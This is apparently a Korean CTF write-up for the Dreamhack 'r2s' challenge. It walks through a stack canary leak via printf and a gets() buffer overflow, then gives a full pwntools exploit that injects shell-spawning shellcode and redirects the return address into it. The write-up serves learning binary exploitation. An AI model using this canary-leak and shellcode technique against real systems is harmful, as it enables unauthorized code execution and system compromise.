checksec
└─# checksec r2s
[*] '/root/dream/rts/r2s'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
NX 보호기법이 적용되지 않았다. 따라서 쉘코드를 이용한 공격이 가능하다.
문제분석 & 풀이
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
이번 문제는 2가지 취약점이 발생한다. 하나씩 알아보자.
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
1번째로 buf 입력 길이에 대한 검증이 없다. 따라서 BOF가 발생한다.
이를 이용해서 RET을 쉘코드 주소로 조작하면 될 것 이다.
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",(char*)__builtin_frame_address(0) - buf);
마침 buf
주소와 buf ~ RET
거리를 알려준다. 따라서 쉘코드를 buf에 저장하고 리턴하는 방법이 가능하다.
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
2번째는 메모리 릭 취약점이다.
read(0, buf, 0x100)로 buf 이외에 영역까지 쓰기가 가능하다.
printf("Your input is '%s'\n", buf)
이 과정에서 buf를 출력해주는데, printf()는 특성상 \x00까지 데이터를 출력한다.
따라서 buf가 canary 직전까지 데이터로 채워진 상태라면 canary도 출력할 수 있다는 의미다.
이를 이용해서 canary를 획득할 수 있다.
# buf[] 주소
p.recvuntil("buf: ")
buf_address = int(p.recvline()[:-1], 16)
log.info("Buffer Address : "+hex(buf_address))
# from buf[] to rbp & from buf[] to canary
p.recvuntil("rbp: ")
distance = p.recvuntil("\n")
distance = int(distance[0:len(distance)-1])
canary_distance = distance - 0x8
log.info("from buf[] to rbp distance : "+hex(distance))
log.info("from buf[] to canary distance : "+hex(canary_distance))
# canary leak
leak = b'\x90'*(canary_distance + 1)
p.sendafter("Input: ", leak)
p.recvuntil(leak)
canary = u64(b'\x00' + p.recvn(7))
log.info("Canary : "+hex(canary))
canary를 Leak 하는 코드이다.
buf ~ canary
거리만큼 dummy을 넣고 전송했다.
이때, buf ~ canary + 1
크기로 dummy를 전송한 것을 확인할 수 있다.
그 이유는 canary가 총 8바이트인데 처음이 \x00
이기 때문이다. printf()
함수는 \x00
을 만나면 이후에 나오는 값을 출력하지 않는다. 따라서 \x00
을 덮어야 canary 8바이트를 전부 Leak 할 수 있다.
canary를 알아낸 후에는 언패킹 과정(u64() 함수)에서 canary 처음에 \x00
을 추가해서 언패킹했다.
코드를 실행하면 canary가 출력되는 것을 확인할 수 있다.
exploit
shellcode = asm(shellcraft.sh())
# exploit
payload = shellcode.ljust(canary_distance, b'A')
payload += p64(canary)
payload += b'\x90'*0x8
payload += p64(buf_address)
p.sendafter("Input: ", payload)
다음으로 payload를 구성하고 exploit을 시도해보자.
payload 구성은 간단하다.
[shellcode & dummy] * 0x58 + [canary] + [dummy] * 8 + [buf addr]
shellcode를 buf에 저장한다.
다음으로 SSP를 우회하기 위해 canary를 입력하고 RET 전까지의 공간을 dummy로 채웠다.
마지막은 RET을 buf
주소로 덮어서 shellcode로 점프하도록 유도했다.
exploit
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
context.arch = "amd64"
p = remote("host3.dreamhack.games", 12172)
# buf[] 주소
p.recvuntil("buf: ")
buf_address = int(p.recvline()[:-1], 16)
log.info("Buffer Address : "+hex(buf_address))
# from buf[] to rbp & from buf[] to canary
p.recvuntil("rbp: ")
distance = p.recvuntil("\n")
distance = int(distance[0:len(distance)-1])
canary_distance = distance - 0x8
log.info("from buf[] to rbp distance : "+hex(distance))
log.info("from buf[] to canary distance : "+hex(canary_distance))
# canary leak
leak = b'A'*(canary_distance + 1)
p.sendafter("Input: ", leak)
p.recvuntil(leak)
canary = u64(b'\x00' + p.recvn(7))
log.info("Canary : "+hex(canary))
shellcode = asm(shellcraft.sh())
# exploit
payload = shellcode.ljust(canary_distance, b'A')
payload += p64(canary)
payload += b'B'*0x8
payload += p64(buf_address)
p.sendafter("Input: ", payload)
p.interactive()